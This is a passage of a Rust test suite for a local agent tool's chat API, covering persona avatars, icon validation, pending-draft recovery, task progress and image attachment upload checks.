14785 [[talk.personas]]\nid = \"magi\"\nicon = \"data:image/png;base64,PGh0bWw+\"\n",
14786 uri(&good),
14787 uri(&spoof),
14788 uri(&big),
14789 uri(&missing),
14790 );
14791 let (_t, _h, ui, id, _repo) = avatar_fixture(&extra).await;
14792
14793 let (status, ct, nosniff, _, body) = avatar(&ui, &id, Some("rei"), false).await;
14794 assert_eq!(
14795 (status, ct.as_str(), nosniff),
14796 (StatusCode::OK, "image/png", true)
14797 );
14798 assert_eq!(body, tiny_png());
14799 let (_, ct, _, _, _) = avatar(&ui, &id, Some("kaworu"), false).await;
14800 assert_eq!(ct, "image/png", "data URI");
14801
14802 for p in ["misato", "asuka", "shinji", "magi"] {
14803 let (status, ct, _, csp, body) = avatar(&ui, &id, Some(p), false).await;
14804 assert_eq!(
14805 (status, ct.as_str(), csp),
14806 (StatusCode::OK, "image/svg+xml", true),
14807 "{p}"
14808 );
14809 assert!(body.starts_with(b"<svg"), "{p}");
14810 }
14811 let (_, ct, _, _, _) = avatar(&ui, &id, Some("rei"), true).await;
14813 assert_eq!(ct, "image/svg+xml");
14814 }
14815
14816 #[tokio::test]
14817 async fn invalid_icons_keep_the_catalog_and_persona_switch_usable() {
14818 let oversized = format!(
14819 "data:image/png;base64,{}",
14820 "A".repeat(persona_icon::ICON_MAX_BYTES)
14821 );
14822 for bad in ["", "/images/avatar.svg", "/a/../b.png", &oversized] {
14823 let extra = format!(
14824 "[[talk.personas]]\nid = \"custom\"\nname = \"Custom\"\nprompt = \"Keep calm\"\nicon = \"{bad}\"\n"
14825 );
14826 let (_t, _h, ui, id, _repo) = avatar_fixture(&extra).await;
14827 let Json(detail) = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
14828 .await
14829 .expect("detail with invalid icon");
14830 assert!(detail.personas.iter().any(|p| p.id == "custom"));
14831 let (status, ct, _, _, body) = avatar(&ui, &id, Some("custom"), false).await;
14832 assert_eq!(status, StatusCode::OK);
14833 assert_eq!(ct, "image/svg+xml");
14834 assert_eq!(body, persona_icon::builtin_svg("custom").as_bytes());
14835 let Json(view) = talk_persona(
14836 State(Arc::clone(&ui)),
14837 Path(id.clone()),
14838 Json(TalkPersona {
14839 persona: "custom".into(),
14840 }),
14841 )
14842 .await
14843 .expect("persona switch with invalid icon");
14844 assert_eq!(view.talk.persona, "custom");
14845 assert_eq!(ui.talks.get(&id).unwrap().persona, "custom");
14846 }
14847 }
14848
14849 #[tokio::test]
14850 async fn an_unreadable_config_still_gets_the_builtin_avatar() {
14851 let (_t, _h, ui, id, repo) = avatar_fixture("").await;
14852 std::fs::write(repo.join("magi.toml"), "this is not valid TOML").unwrap();
14853 let (status, ct, nosniff, csp, _) = avatar(&ui, &id, Some("rei"), false).await;
14854 assert_eq!(
14855 (status, ct.as_str(), nosniff, csp),
14856 (StatusCode::OK, "image/svg+xml", true, true)
14857 );
14858 }
14859
14860 #[tokio::test]
14861 async fn the_talk_view_carries_server_built_avatar_urls_only() {
14862 let (_t, _h, ui, id, _repo) =
14863 avatar_fixture("[[talk.personas]]\nid = \"rei\"\nicon = \"~/secret/rei.png\"\n").await;
14864 let Json(detail) = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
14865 .await
14866 .expect("detail");
14867 let json = serde_json::to_string(&detail).unwrap();
14868 assert!(
14869 !json.contains("secret"),
14870 "the icon setting must not leak: {json}"
14871 );
14872 assert!(
14873 detail
14874 .view
14875 .persona_avatar
14876 .starts_with(&format!("/api/talks/{id}/avatar?persona=default&v="))
14877 );
14878 assert_eq!(
14879 detail.view.operator_avatar,
14880 format!(
14881 "/avatars/operator.svg?v={}",
14882 persona_icon::fingerprint(Some(persona_icon::operator_svg()))
14883 )
14884 );
14885 assert!(!detail.personas.iter().any(|p| p.id == "operator"));
14886 let rei = detail.personas.iter().find(|p| p.id == "rei").unwrap();
14887 let plain = detail.personas.iter().find(|p| p.id == "asuka").unwrap();
14888 assert!(rei.avatar.contains("persona=rei&v="));
14889 assert_ne!(
14890 rei.avatar.split("&v=").nth(1),
14891 plain.avatar.split("&v=").nth(1)
14892 );
14893 }
14894
14895 #[tokio::test]
14896 async fn empty_settings_turn_releases_inline_only_for_unchanged_generation() {
14897 let (_t, _h, ui, id, repo) = avatar_fixture("").await;
14898 let cfg = config_for(&repo).await.unwrap();
14899 for arrived in [false, true] {
14900 let turn = ui.begin_talk_turn(&id).unwrap().unwrap();
14901 let observed = ui.queued_generation(&id);
14902 let talk = ui.talks.get(&id).unwrap();
14903 if arrived {
14904 assert!(ui.begin_queued_talk_turn(&id).unwrap().is_none());
14905 }
14906 let mut settling = std::pin::pin!(settle_settings_turn(
14907 talk,
14908 ui.talks.clone(),
14909 cfg.clone(),
14910 id.clone(),
14911 turn,
14912 observed
14913 ));
14914 let mut cx = std::task::Context::from_waker(std::task::Waker::noop());
14915 let first = std::future::Future::poll(settling.as_mut(), &mut cx);
14916 assert_eq!(first.is_pending(), arrived);
14917 if arrived {
14918 assert!(!settling.await);
14919 }
14920 assert!(!ui.is_thinking(&id));
14921 }
14922 }
14923
14924 #[tokio::test]
14925 async fn talk_persona_round_trips_and_refuses_unknown_busy_or_closed() {
14926 let tmp = TempDir::new().expect("tempdir");
14927 let repo = tmp.path().join("repo");
14928 std::fs::create_dir_all(&repo).expect("repo dir");
14929 std::fs::write(
14930 repo.join("magi.toml"),
14931 format!(
14932 "{MOCK_AGENT_TOML}\n[[talk.personas]]\nid = \"gendo\"\nname = \"Gendo\"\nprompt = \"Be cold.\"\n"
14933 ),
14934 )
14935 .expect("write magi.toml");
14936 let home = TempDir::new().expect("temp home");
14937 let talks = Talks::at(home.path().join("talks"));
14938 let ui = Arc::new(
14939 Ui::new(
14940 Queue::at(home.path().join("queue")),
14941 Questions::at(home.path().join("questions")),
14942 talks.clone(),
14943 home.path().join("runs"),
14944 home.path().to_path_buf(),
14945 repo.clone(),
14946 )
14947 .with_worktrees_root(home.path().join("wt")),
14948 );
14949 let cfg = config_for(&repo).await.expect("discover config");
14950 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
14951 let id = talk.id.clone();
14952 let call = |persona: &str| {
14953 talk_persona(
14954 State(Arc::clone(&ui)),
14955 Path(id.clone()),
14956 Json(TalkPersona {
14957 persona: persona.to_owned(),
14958 }),
14959 )
14960 };
14961
14962 let unknown = call("nobody").await.expect_err("unknown persona");
14963 assert_eq!(
14964 unknown.status,
14965 StatusCode::BAD_REQUEST,
14966 "{}",
14967 unknown.message
14968 );
14969
14970 {
14971 let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
14974 let busy = call("rei").await.expect_err("busy talk");
14975 assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
14976 assert!(
14977 busy.message.contains("a talk turn is running"),
14978 "{}",
14979 busy.message
14980 );
14981 drop(guard);
14982 }
14983 assert_eq!(talks.get(&id).expect("reload").persona, "");
14984
14985 let Json(view) = call("gendo").await.expect("switch to a configured persona");
14986 assert_eq!(view.talk.persona, "gendo");
14987 assert_eq!(talks.get(&id).expect("reload").persona, "gendo");
14988 assert!(!ui.is_thinking(&id), "idle response must release the claim");
14989 for chosen in ["default", "gendo", "rei", "gendo"] {
14991 let Json(view) = call(chosen).await.expect("immediate consecutive change");
14992 assert!(!view.thinking);
14993 assert!(!ui.is_thinking(&id));
14994 }
14995
14996 let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
14997 .await
14998 .expect("detail");
14999 let ids: Vec<&str> = detail.0.personas.iter().map(|p| p.id.as_str()).collect();
15000 assert_eq!(ids.first(), Some(&"default"));
15001 assert!(ids.contains(&"rei") && ids.contains(&"gendo"));
15002
15003 let Json(view) = call("default").await.expect("back to default");
15004 assert_eq!(view.talk.persona, "");
15005
15006 let mut closed = talks.get(&id).expect("reload");
15007 talk::close(&mut closed, &talks).expect("close");
15008 let refused = call("rei").await.expect_err("closed talk");
15009 assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
15010 assert!(
15011 refused.message.contains("takes no more turns"),
15012 "{}",
15013 refused.message
15014 );
15015 }
15016
15017 #[tokio::test]
15018 async fn talk_detail_lists_the_tasks_it_has_filed_and_stays_open() {
15019 let f = Fixture::start().await;
15020 let talk_id = seed_talk(&f, "20260904-014455-ab12", "open");
15021 let queue = f.queue();
15022 let mut mine = Task::new(
15023 "rename the loader".to_owned(),
15024 "rename the loader".to_owned(),
15025 PathBuf::from("/repo/magi"),
15026 Source::Agent {
15027 run: talk_id.clone(),
15028 node: "chat".to_owned(),
15029 },
15030 );
15031 let empty = f.get(&format!("/api/talks/{talk_id}")).await.json();
15032 assert_eq!(empty["task_progress"]["state"], "none");
15033 assert_eq!(empty["task_progress"]["total"], 0);
15034 queue.put(&mut mine).expect("file the task");
15035 let mut theirs = Task::new(
15036 "unrelated".to_owned(),
15037 "unrelated".to_owned(),
15038 PathBuf::from("/repo/magi"),
15039 Source::Human,
15040 );
15041 theirs.origin_chat = Some(talk_id.clone());
15043 queue.put(&mut theirs).expect("file the task");
15044
15045 let res = f.get(&format!("/api/talks/{talk_id}")).await;
15046 assert_eq!(res.status, 200, "{}", res.body);
15047 let body = res.json();
15048 assert_eq!(
15049 body["status"], "open",
15050 "filing a task does not close a talk"
15051 );
15052 let tasks = body["tasks"].as_array().expect("tasks array");
15053 assert_eq!(tasks.len(), 1, "only this talk's own task is listed");
15054 assert_eq!(tasks[0]["id"], mine.id);
15055 for status in [
15056 TaskStatus::Queued,
15057 TaskStatus::Running,
15058 TaskStatus::Held,
15059 TaskStatus::Failed,
15060 TaskStatus::Blocked,
15061 TaskStatus::Parked,
15062 TaskStatus::Done,
15063 TaskStatus::Queued,
15064 ] {
15065 mine.status = status;
15066 queue.put(&mut mine).expect("update status");
15067 let detail = f.get(&format!("/api/talks/{talk_id}")).await.json();
15068 let progress = &detail["task_progress"];
15069 assert_eq!(progress["total"], 1);
15070 assert_eq!(progress["counts"][status.as_str()], 1);
15071 assert_eq!(detail["tasks"][0]["status"], status.as_str());
15072 assert_eq!(detail["status"], "open", "completion never closes the chat");
15073 if status == TaskStatus::Done {
15074 assert_eq!(progress["state"], "complete");
15075 assert_eq!(progress["done"], 1);
15076 assert_eq!(progress["unfinished_ids"], serde_json::json!([]));
15077 } else {
15078 assert_eq!(progress["state"], "incomplete");
15079 assert_eq!(progress["done"], 0);
15080 assert_eq!(progress["unfinished_ids"], serde_json::json!([mine.id]));
15081 }
15082 }
15083 }
15084
15085 #[test]
15086 fn talk_task_progress_counts_mixed_statuses() {
15087 let mut tasks: Vec<_> = [
15088 TaskStatus::Queued,
15089 TaskStatus::Running,
15090 TaskStatus::Held,
15091 TaskStatus::Failed,
15092 TaskStatus::Blocked,
15093 TaskStatus::Parked,
15094 TaskStatus::Done,
15095 ]
15096 .into_iter()
15097 .map(|status| {
15098 let mut task = Task::new(
15099 "task".into(),
15100 "task".into(),
15101 PathBuf::from("/repo"),
15102 Source::Human,
15103 );
15104 task.status = status;
15105 task
15106 })
15107 .collect();
15108 let progress = talk_task_progress(&tasks);
15109 assert_eq!(progress.state, "incomplete");
15110 assert_eq!(progress.total, 7);
15111 assert_eq!(progress.done, 1);
15112 assert_eq!(progress.unfinished_ids.len(), 6);
15113 assert!(progress.counts.values().all(|count| *count == 1));
15114 assert_eq!(
15115 progress.unfinished_ids,
15116 tasks[..6]
15117 .iter()
15118 .map(|task| task.id.clone())
15119 .collect::<Vec<_>>()
15120 );
15121
15122 for task in &mut tasks {
15123 task.status = TaskStatus::Done;
15124 }
15125 let complete = talk_task_progress(&tasks);
15126 assert_eq!(complete.state, "complete");
15127 assert_eq!(complete.done, 7);
15128 assert!(complete.unfinished_ids.is_empty());
15129 tasks[0].status = TaskStatus::Queued;
15130 let requeued = talk_task_progress(&tasks);
15131 assert_eq!(requeued.state, "incomplete");
15132 assert_eq!(requeued.done, 6);
15133 assert_eq!(requeued.unfinished_ids, vec![tasks[0].id.clone()]);
15134
15135 let empty = talk_task_progress(&[]);
15136 assert_eq!(empty.state, "none");
15137 assert_eq!(empty.total, 0);
15138 assert_eq!(empty.done, 0);
15139 assert!(empty.unfinished_ids.is_empty());
15140 assert!(empty.counts.values().all(|count| *count == 0));
15141 }
15142
15143 #[tokio::test]
15144 async fn talk_say_records_the_operators_turn_before_the_agents_reply_lands() {
15145 let (_tmp, _repo, f) = talk_fixture().await;
15146 let id = f.post("/api/talks", None).await.json()["id"]
15147 .as_str()
15148 .expect("id")
15149 .to_owned();
15150
15151 let res = f
15152 .post(
15153 &format!("/api/talks/{id}/say"),
15154 Some(r#"{"text":"what does the queue module do?"}"#),
15155 )
15156 .await;
15157 assert_eq!(res.status, 202, "{}", res.body);
15158 let queued = res.json();
15159 let turns = queued["turns"].as_array().expect("turns array");
15160 assert_eq!(
15161 turns.len(),
15162 1,
15163 "the answer reflects only what is on disk the instant it is sent, \
15164 before the agent's turn - which can run for the whole of \
15165 `[graph] timeout_talk` - has a chance to land: {queued}"
15166 );
15167 assert_eq!(turns[0]["who"], "operator");
15168 assert_eq!(turns[0]["body"], "what does the queue module do?");
15169 assert_eq!(
15170 queued["thinking"], true,
15171 "the accepted response exposes the background turn claim: {queued}"
15172 );
15173
15174 let mut turns_after = 1;
15175 for _ in 0..SETTLE_STEPS {
15176 let detail = f.get(&format!("/api/talks/{id}")).await.json();
15177 turns_after = detail["turns"].as_array().expect("turns array").len();
15178 if turns_after == 2 {
15179 break;
15180 }
15181 tokio::time::sleep(Duration::from_millis(10)).await;
15182 }
15183 assert_eq!(turns_after, 2, "the agent's reply eventually lands");
15184 }
15185
15186 #[tokio::test]
15213 async fn a_dropped_handler_future_after_recording_still_gets_an_agent_reply() {
15214 let tmp = TempDir::new().expect("tempdir");
15215 let repo = tmp.path().join("repo");
15216 std::fs::create_dir_all(&repo).expect("repo dir");
15217 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
15218 let home = TempDir::new().expect("temp home");
15219 let talks = Talks::at(home.path().join("talks"));
15220 let ui = Arc::new(
15221 Ui::new(
15222 Queue::at(home.path().join("queue")),
15223 Questions::at(home.path().join("questions")),
15224 talks.clone(),
15225 home.path().join("runs"),
15226 home.path().to_path_buf(),
15227 repo.clone(),
15228 )
15229 .with_worktrees_root(home.path().join("wt")),
15230 );
15231 let cfg = config_for(&repo).await.expect("discover config");
15232
15233 for delay in 0..40u32 {
15234 let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
15235 let id = talk.id.clone();
15236
15237 let handler = tokio::spawn(talk_say(
15238 State(Arc::clone(&ui)),
15239 Path(id.clone()),
15240 Ok(Json(NewTalkTurn {
15241 reply_to: None,
15242 text: "what does the queue module do?".to_owned(),
15243 attachments: Vec::new(),
15244 })),
15245 ));
15246 tokio::time::sleep(Duration::from_micros(u64::from(delay) * 500)).await;
15247 handler.abort();
15248 let _ = handler.await;
15251
15252 let mut turns = 0;
15253 for _ in 0..SETTLE_STEPS {
15254 if let Ok(fresh) = talks.get(&id) {
15255 turns = fresh.turns.len();
15256 if turns != 1 {
15257 break;
15258 }
15259 }
15260 tokio::time::sleep(Duration::from_millis(10)).await;
15261 }
15262 assert_ne!(
15263 turns, 1,
15264 "delay {delay}: talk {id} recorded the operator's turn but \
15265 the agent never answered - the reply task was never \
15266 started after the handler future was dropped"
15267 );
15268 }
15269 }
15270
15271 #[tokio::test]
15316 async fn a_dropped_handler_future_after_queueing_still_drains_the_draft() {
15317 let tmp = TempDir::new().expect("tempdir");
15318 let repo = tmp.path().join("repo");
15319 std::fs::create_dir_all(&repo).expect("repo dir");
15320 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
15321 let home = TempDir::new().expect("temp home");
15322 let talks = Talks::at(home.path().join("talks"));
15323 let ui = Arc::new(
15324 Ui::new(
15325 Queue::at(home.path().join("queue")),
15326 Questions::at(home.path().join("questions")),
15327 talks.clone(),
15328 home.path().join("runs"),
15329 home.path().to_path_buf(),
15330 repo.clone(),
15331 )
15332 .with_worktrees_root(home.path().join("wt")),
15333 );
15334 let cfg = config_for(&repo).await.expect("discover config");
15335
15336 for attempt in 0..3u32 {
15337 let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
15338 let id = talk.id.clone();
15339 let turn_guard = ui
15342 .begin_talk_turn(&id)
15343 .expect("claim the turn")
15344 .expect("a fresh talk owes nobody a turn");
15345
15346 let (reached_tx, reached_rx) = tokio::sync::oneshot::channel();
15347 let (release_tx, release_rx) = std::sync::mpsc::channel();
15348 ui.set_busy_queue_gate(BusyQueueGate {
15349 reached: reached_tx,
15350 release: release_rx,
15351 });
15352
15353 let handler = tokio::spawn(talk_say(
15354 State(Arc::clone(&ui)),
15355 Path(id.clone()),
15356 Ok(Json(NewTalkTurn {
15357 reply_to: None,
15358 text: "what does the queue module do?".to_owned(),
15359 attachments: Vec::new(),
15360 })),
15361 ));
15362
15363 tokio::time::timeout(Duration::from_secs(5), reached_rx)
15368 .await
15369 .unwrap_or_else(|_| {
15370 panic!(
15371 "attempt {attempt}: talk {id} never reached the busy branch's queue write"
15372 )
15373 })
15374 .expect("the busy branch dropped the gate without using it");
15375 assert!(
15376 crate::consult::try_publication_guard(&talks, &id)
15377 .expect("publication fence")
15378 .is_none(),
15379 "a queued worker cannot promote text before its successor reservation is published"
15380 );
15381
15382 let closing = Arc::clone(&ui.admissions).write_owned();
15386 tokio::pin!(closing);
15387 std::future::poll_fn(|cx| {
15388 assert!(closing.as_mut().poll(cx).is_pending());
15389 std::task::Poll::Ready(())
15390 })
15391 .await;
15392 assert!(
15393 ui.begin_admission().is_err(),
15394 "replacement blocks later admissions"
15395 );
15396
15397 let running = talks.get(&id).expect("reload talk");
15404 drain_loop(running, talks.clone(), cfg.clone(), id.clone(), turn_guard).await;
15405
15406 handler.abort();
15410 let _ = handler.await;
15411 std::future::poll_fn(|cx| {
15412 assert!(
15413 closing.as_mut().poll(cx).is_pending(),
15414 "HTTP cancellation must not abandon a publishing transaction"
15415 );
15416 std::task::Poll::Ready(())
15417 })
15418 .await;
15419 assert!(
15420 crate::consult::try_publication_guard(&talks, &id)
15421 .expect("publication fence after disconnect")
15422 .is_none()
15423 );
15424
15425 let _ = release_tx.send(());
15431 drop(
15432 tokio::time::timeout(Duration::from_secs(5), closing)
15433 .await
15434 .expect("short admission transaction should release for replacement"),
15435 );
15436 assert!(
15437 crate::consult::try_publication_guard(&talks, &id)
15438 .expect("publication fence after acknowledgement")
15439 .is_some(),
15440 "the publication fence is not retained by the long response"
15441 );
15442
15443 let mut fresh = talks.get(&id).expect("reload talk");
15446 for _ in 0..SETTLE_STEPS {
15447 if fresh.pending.is_empty() && fresh.turns.len() == 2 {
15448 break;
15449 }
15450 tokio::time::sleep(Duration::from_millis(10)).await;
15451 fresh = talks.get(&id).expect("reload talk");
15452 }
15453 assert!(
15454 fresh.pending.is_empty() && fresh.turns.len() == 2,
15455 "attempt {attempt}: talk {id} left the operator's text queued \
15456 with no drainer - the reclaimed turn was dropped along with \
15457 the handler future (pending {:?}, {} turns)",
15458 fresh.pending,
15459 fresh.turns.len()
15460 );
15461 }
15462 }
15463
15464 #[tokio::test]
15465 async fn editing_a_recovered_pending_draft_restarts_its_drain_once() {
15466 let (_tmp, _repo, f) = talk_fixture().await;
15467 let id = f.post("/api/talks", None).await.json()["id"]
15468 .as_str()
15469 .expect("id")
15470 .to_owned();
15471 let store = f.talks();
15472 let mut recovered = store.get(&id).expect("opened talk");
15473 talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
15474 .expect("persist pending draft without a live turn");
15475
15476 let edited = f
15477 .post(
15478 &format!("/api/talks/{id}/pending/edit"),
15479 Some(r#"{"text":"corrected","expected_text":"saved before restart","expected_attachments":[]}"#),
15480 )
15481 .await;
15482 assert_eq!(edited.status, 200, "{}", edited.body);
15483 assert!(edited.json()["thinking"].as_bool().unwrap());
15484
15485 let mut detail = f.get(&format!("/api/talks/{id}")).await.json();
15486 for _ in 0..SETTLE_STEPS {
15487 if detail["turns"].as_array().expect("turns").len() == 2 {
15488 break;
15489 }
15490 tokio::time::sleep(Duration::from_millis(10)).await;
15491 detail = f.get(&format!("/api/talks/{id}")).await.json();
15492 }
15493 let turns = detail["turns"].as_array().expect("turns");
15494 assert_eq!(
15495 turns.len(),
15496 2,
15497 "the recovered draft must run once: {detail}"
15498 );
15499 assert_eq!(turns[0]["body"], "corrected");
15500 assert_eq!(detail["pending"], "");
15501 }
15502
15503 #[tokio::test]
15504 async fn recovered_pending_requires_explicit_resume_and_duplicate_resume_runs_once() {
15505 let tmp = TempDir::new().expect("tempdir");
15506 let repo = tmp.path().join("repo");
15507 std::fs::create_dir_all(&repo).expect("repo dir");
15508 std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
15509 let f = Fixture::with_repo(repo).await;
15510 let id = f.post("/api/talks", None).await.json()["id"]
15511 .as_str()
15512 .expect("id")
15513 .to_owned();
15514 let store = f.talks();
15515 let mut recovered = store.get(&id).expect("opened talk");
15516 talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
15517 .expect("persist pending draft without a live turn");
15518
15519 let refused = f
15520 .post(
15521 &format!("/api/talks/{id}/say"),
15522 Some(r#"{"text":"new message"}"#),
15523 )
15524 .await;
15525 assert_eq!(refused.status, 409, "{}", refused.body);
15526 assert!(refused.body.contains("resume"), "{}", refused.body);
15527 let saved = store.get(&id).expect("draft remains after refusal");
15528 assert!(saved.turns.is_empty());
15529 assert_eq!(saved.pending, "saved before restart");
15530
15531 let say_path = format!("/api/talks/{id}/say");
15532 let (first, second) = tokio::join!(
15533 f.post(&say_path, Some(r#"{"text":"concurrent one"}"#)),
15534 f.post(&say_path, Some(r#"{"text":"concurrent two"}"#)),
15535 );
15536 assert_eq!(first.status, 409, "{}", first.body);
15537 assert_eq!(second.status, 409, "{}", second.body);
15538 let saved = store
15539 .get(&id)
15540 .expect("draft remains after concurrent refusals");
15541 assert!(saved.turns.is_empty());
15542 assert_eq!(saved.pending, "saved before restart");
15543
15544 let resumed = f
15545 .post(&format!("/api/talks/{id}/pending/resume"), None)
15546 .await;
15547 assert_eq!(resumed.status, 202, "{}", resumed.body);
15548 let duplicate = f
15549 .post(&format!("/api/talks/{id}/pending/resume"), None)
15550 .await;
15551 assert_eq!(duplicate.status, 409, "{}", duplicate.body);
15552
15553 for _ in 0..SETTLE_STEPS {
15554 if store.get(&id).expect("talk").turns.len() == 2 {
15555 break;
15556 }
15557 tokio::time::sleep(Duration::from_millis(10)).await;
15558 }
15559 let finished = store.get(&id).expect("finished talk");
15560 assert_eq!(finished.turns.len(), 2, "{finished:?}");
15561 assert_eq!(finished.turns[0].body, "saved before restart");
15562 assert!(finished.pending.is_empty());
15563 }
15564
15565 #[tokio::test]
15566 async fn an_image_only_recovered_draft_resumes_without_text() {
15567 let (_tmp, _repo, f) = talk_fixture().await;
15568 let id = f.post("/api/talks", None).await.json()["id"]
15569 .as_str()
15570 .expect("id")
15571 .to_owned();
15572 let uploaded = f
15573 .post_bytes(
15574 &format!("/api/talks/{id}/attachments"),
15575 &[("Content-Type", "image/png"), ("X-Filename", "saved.png")],
15576 PNG_BYTES,
15577 )
15578 .await;
15579 assert_eq!(uploaded.status, 201, "{}", uploaded.body);
15580 let attachment = f
15581 .talks()
15582 .attachment_meta(&id, uploaded.json()["id"].as_str().expect("attachment id"))
15583 .expect("attachment metadata")
15584 .expect("stored attachment");
15585 let store = f.talks();
15586 let mut recovered = store.get(&id).expect("opened talk");
15587 talk::queue(&mut recovered, &store, "", vec![attachment]).expect("queue image only");
15588
15589 let resumed = f
15590 .post(&format!("/api/talks/{id}/pending/resume"), None)
15591 .await;
15592 assert_eq!(resumed.status, 202, "{}", resumed.body);
15593 for _ in 0..SETTLE_STEPS {
15594 if store.get(&id).expect("talk").turns.len() == 2 {
15595 break;
15596 }
15597 tokio::time::sleep(Duration::from_millis(10)).await;
15598 }
15599 let finished = store.get(&id).expect("finished talk");
15600 assert_eq!(finished.turns.len(), 2, "{finished:?}");
15601 assert!(finished.turns[0].body.is_empty());
15602 assert_eq!(finished.turns[0].attachments.len(), 1);
15603 assert!(finished.pending_attachments.is_empty());
15604 }
15605
15606 #[tokio::test]
15607 async fn closed_talk_refuses_pending_mutations_without_changing_the_record() {
15608 let (_tmp, _repo, f) = talk_fixture().await;
15609 let id = f.post("/api/talks", None).await.json()["id"]
15610 .as_str()
15611 .expect("id")
15612 .to_owned();
15613 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
15614 assert_eq!(closed.status, 200, "{}", closed.body);
15615 let before_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
15616 .expect("serialize closed talk");
15617 for (path, body) in [
15618 (format!("/api/talks/{id}/pending/resume"), None),
15619 (
15620 format!("/api/talks/{id}/pending/clear"),
15621 Some(r#"{"expected_text":"","expected_attachments":[]}"#),
15622 ),
15623 (
15624 format!("/api/talks/{id}/pending/edit"),
15625 Some(r#"{"text":"x","expected_text":"","expected_attachments":[]}"#),
15626 ),
15627 (format!("/api/talks/{id}/say"), Some(r#"{"text":"x"}"#)),
15628 ] {
15629 let response = f.post(&path, body).await;
15630 assert_eq!(response.status, 409, "{}", response.body);
15631 }
15632 let after_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
15633 .expect("serialize closed talk");
15634 assert_eq!(
15635 after_clear, before_clear,
15636 "clear must not rewrite a closed talk"
15637 );
15638 }
15639
15640 const SLOW_MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && sleep 3 && printf ok\"]\n";
15643
15644 #[tokio::test]
15645 async fn talks_report_independent_thinking_claims_and_queue_a_second_message() {
15646 let tmp = TempDir::new().expect("tempdir");
15647 let repo = tmp.path().join("repo");
15648 std::fs::create_dir_all(&repo).expect("repo dir");
15649 std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
15650 let f = Fixture::with_repo(repo).await;
15651 let id_a = f.post("/api/talks", None).await.json()["id"]
15652 .as_str()
15653 .unwrap()
15654 .to_owned();
15655 let id_b = f.post("/api/talks", None).await.json()["id"]
15656 .as_str()
15657 .unwrap()
15658 .to_owned();
15659
15660 let a = f
15661 .post(&format!("/api/talks/{id_a}/say"), Some(r#"{"text":"a"}"#))
15662 .await;
15663 assert_eq!(a.status, 202, "{}", a.body);
15664 assert_eq!(a.json()["thinking"], true);
15665 let b = f
15666 .post(&format!("/api/talks/{id_b}/say"), Some(r#"{"text":"b"}"#))
15667 .await;
15668 assert_eq!(b.status, 202, "{}", b.body);
15669 assert_eq!(b.json()["thinking"], true);
15670
15671 let listed = f.get("/api/talks").await.json();
15672 for id in [&id_a, &id_b] {
15673 let view = listed
15674 .as_array()
15675 .unwrap()
15676 .iter()
15677 .find(|talk| talk["id"] == *id)
15678 .unwrap();
15679 assert_eq!(view["thinking"], true, "{listed}");
15680 }
15681 let repeated = f
15682 .post(
15683 &format!("/api/talks/{id_a}/say"),
15684 Some(r#"{"text":"again"}"#),
15685 )
15686 .await;
15687 assert_eq!(repeated.status, 202, "{}", repeated.body);
15688 assert_eq!(repeated.json()["pending"], "again");
15689 }
15690
15691 const PNG_BYTES: &[u8] = b"\x89PNG\r\n\x1a\n\x00\x00\x00\x0dIHDR\x00\x00\x00\x01";
15694
15695 #[tokio::test]
15696 async fn a_png_attachment_upload_is_201_and_get_returns_it_with_nosniff() {
15697 let f = Fixture::start().await;
15698 let id = seed_talk(&f, "20260905-000000-a1b2", "open");
15699
15700 let res = f
15701 .post_bytes(
15702 &format!("/api/talks/{id}/attachments"),
15703 &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
15704 PNG_BYTES,
15705 )
15706 .await;
15707 assert_eq!(res.status, 201, "{}", res.body);
15708 let body = res.json();
15709 assert_eq!(body["name"], "shot.png");
15710 assert_eq!(body["mime"], "image/png");
15711 assert_eq!(body["bytes"], PNG_BYTES.len());
15712 let att_id = body["id"].as_str().expect("id").to_owned();
15713 assert_eq!(
15714 att_id.len(),
15715 32,
15716 "the id must never be a client-suppliable path: {att_id}"
15717 );
15718
15719 let got = f
15720 .get(&format!("/api/talks/{id}/attachments/{att_id}"))
15721 .await;
15722 assert_eq!(got.status, 200, "{}", got.body);
15723 assert_eq!(got.header("content-type"), Some("image/png"));
15724 assert_eq!(got.header("x-content-type-options"), Some("nosniff"));
15725 assert_eq!(got.bytes, PNG_BYTES);
15726 }
15727
15728 #[tokio::test]
15729 async fn an_svg_a_text_file_and_an_oversized_upload_are_all_4xx() {
15730 let f = Fixture::start().await;
15731 let id = seed_talk(&f, "20260905-000000-c3d4", "open");
15732
15733 let svg = f
15736 .post_bytes(
15737 &format!("/api/talks/{id}/attachments"),
15738 &[("Content-Type", "image/svg+xml")],
15739 b"<svg xmlns=\"http://www.w3.org/2000/svg\"></svg>",
15740 )
15741 .await;
15742 assert!(
15743 (400..500).contains(&svg.status),
15744 "svg must be refused: {} {}",
15745 svg.status,
15746 svg.body
15747 );
15748 assert!(svg.body.contains("SVG"), "{}", svg.body);
15749
15750 let text = f
15751 .post_bytes(
15752 &format!("/api/talks/{id}/attachments"),
15753 &[("Content-Type", "text/plain")],
15754 b"just some text",
15755 )
15756 .await;
15757 assert!(
15758 (400..500).contains(&text.status),
15759 "an unlisted type must be refused: {} {}",
15760 text.status,
15761 text.body
15762 );
15763
15764 let oversized = vec![0u8; ATTACHMENT_MAX_BYTES + 1];
15767 let big = f
15768 .post_bytes(
15769 &format!("/api/talks/{id}/attachments"),
15770 &[("Content-Type", "image/png")],
15771 &oversized,
15772 )
